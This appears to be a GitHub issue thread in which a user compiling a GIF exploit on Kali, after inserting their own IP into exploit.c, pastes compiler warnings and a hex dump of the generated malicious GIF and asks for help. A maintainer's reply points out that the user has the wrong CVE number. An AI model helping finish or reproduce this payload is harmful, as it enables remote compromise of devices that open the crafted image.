projectorbug / cve-2020-11932 Goto Github PK

gcc -o exploit egif_lib.c exploit.c
exploit.c: In function ‘get_hex’:
exploit.c:18:13: warning: implicit declaration of function ‘snprintf’ [-Wimplicit-function-declaration]
18 | snprintf(hex_, hex_len, "%02X ", buf[byte_no++] & 0xff);
| ^~~~~~~~
exploit.c:18:13: warning: incompatible implicit declaration of built-in function ‘snprintf’
exploit.c:2:1: note: include ‘<stdio.h>’ or provide a declaration of ‘snprintf’
1 | #include "gif_lib.h"
+++ |+#include <stdio.h>
2 |
exploit.c:24:13: warning: incompatible implicit declaration of built-in function ‘snprintf’
24 | snprintf(hex_, hex_len, "\n");
| ^~~~~~~~
exploit.c:24:13: note: include ‘<stdio.h>’ or provide a declaration of ‘snprintf’
exploit.c: In function ‘genLine_0’:
exploit.c:59:5: warning: implicit declaration of function ‘memcpy’ [-Wimplicit-function-declaration]
59 | memcpy(buffer, hexData, sizeof(hexData));
| ^~~~~~
exploit.c:59:5: warning: incompatible implicit declaration of built-in function ‘memcpy’
exploit.c:2:1: note: include ‘<string.h>’ or provide a declaration of ‘memcpy’
1 | #include "gif_lib.h"
+++ |+#include <string.h>
2 |
exploit.c:74:34: warning: implicit declaration of function ‘strlen’ [-Wimplicit-function-declaration]
74 | memcpy(buffer + 32, command, strlen(command));
| ^~~~~~
exploit.c:74:34: warning: incompatible implicit declaration of built-in function ‘strlen’
exploit.c:74:34: note: include ‘<string.h>’ or provide a declaration of ‘strlen’
exploit.c: In function ‘main’:
exploit.c:116:5: warning: incompatible implicit declaration of built-in function ‘memcpy’
116 | memcpy(buffer + size, starting, sizeof(starting));
| ^~~~~~
exploit.c:116:5: note: include ‘<string.h>’ or provide a declaration of ‘memcpy’
exploit.c:137:5: warning: implicit declaration of function ‘printf’ [-Wimplicit-function-declaration]
137 | printf("buffer = %p size = %d\n%s\n", buffer, size, hex_dump);
| ^~~~~~
exploit.c:137:5: warning: incompatible implicit declaration of built-in function ‘printf’
exploit.c:137:5: note: include ‘<stdio.h>’ or provide a declaration of ‘printf’

i put my ip in exploit.c and run commands as steps said then i get this and i cant find gif file can you help please

root@kali:~/tools/social_engineering/CVE-2020-11932# gcc -o exploit egif_lib.c exploit.c

exploit.c: In function ‘get_hex’:

exploit.c:18:13: warning: implicit declaration of function ‘snprintf’ [-Wimplicit-function-declaration]

18 | snprintf(hex_, hex_len, "%02X ", buf[byte_no++] & 0xff);

  |             ^~~~~~~~

exploit.c:18:13: warning: incompatible implicit declaration of built-in function ‘snprintf’

exploit.c:2:1: note: include ‘<stdio.h>’ or provide a declaration of ‘snprintf’

1 | #include "gif_lib.h"

+++ |+#include <stdio.h>

2 | 

exploit.c:24:13: warning: incompatible implicit declaration of built-in function ‘snprintf’

24 | snprintf(hex_, hex_len, "\n");

  |             ^~~~~~~~

exploit.c:24:13: note: include ‘<stdio.h>’ or provide a declaration of ‘snprintf’

exploit.c: In function ‘genLine_0’:

exploit.c:59:5: warning: implicit declaration of function ‘memcpy’ [-Wimplicit-function-declaration]

59 | memcpy(buffer, hexData, sizeof(hexData));

  |     ^~~~~~

exploit.c:59:5: warning: incompatible implicit declaration of built-in function ‘memcpy’

exploit.c:2:1: note: include ‘<string.h>’ or provide a declaration of ‘memcpy’

1 | #include "gif_lib.h"

+++ |+#include <string.h>

2 | 

exploit.c:74:34: warning: implicit declaration of function ‘strlen’ [-Wimplicit-function-declaration]

74 | memcpy(buffer + 32, command, strlen(command));

  |                                  ^~~~~~

exploit.c:74:34: warning: incompatible implicit declaration of built-in function ‘strlen’

exploit.c:74:34: note: include ‘<string.h>’ or provide a declaration of ‘strlen’

exploit.c: In function ‘main’:

exploit.c:116:5: warning: incompatible implicit declaration of built-in function ‘memcpy’

116 | memcpy(buffer + size, starting, sizeof(starting));

  |     ^~~~~~

exploit.c:116:5: note: include ‘<string.h>’ or provide a declaration of ‘memcpy’

exploit.c:137:5: warning: implicit declaration of function ‘printf’ [-Wimplicit-function-declaration]

137 | printf("buffer = %p size = %d\n%s\n", buffer, size, hex_dump);

  |     ^~~~~~

exploit.c:137:5: warning: incompatible implicit declaration of built-in function ‘printf’

exploit.c:137:5: note: include ‘<stdio.h>’ or provide a declaration of ‘printf’

root@kali:~/tools/social_engineering/CVE-2020-11932# ./e

egif_lib.c exploit exploit.c

root@kali:~/tools/social_engineering/CVE-2020-11932# ./exploit

buffer = 0x7fff2c187f50 size = 266

47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC

FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00

00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08

9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 84 9C 09 B0

C5 07 00 00 00 74 DE E4 11 F3 06 0F 08 37 63 40

C4 C8 21 C3 45 0C 1B 38 5C C8 70 71 43 06 08 1A

34 68 D0 00 C1 07 C4 1C 34 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 54 12 7C C0 C5 07 00 00 00 EE FF FF 2C 00 00

00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00

18 00 0A 00 0F 00 01 00 00 3B

Hello, CVE-2020-11932 is unrelated to whatsapp or libpl_droidsonroids_gif.

You probably meant to use CVE-2019-11932.

Thanks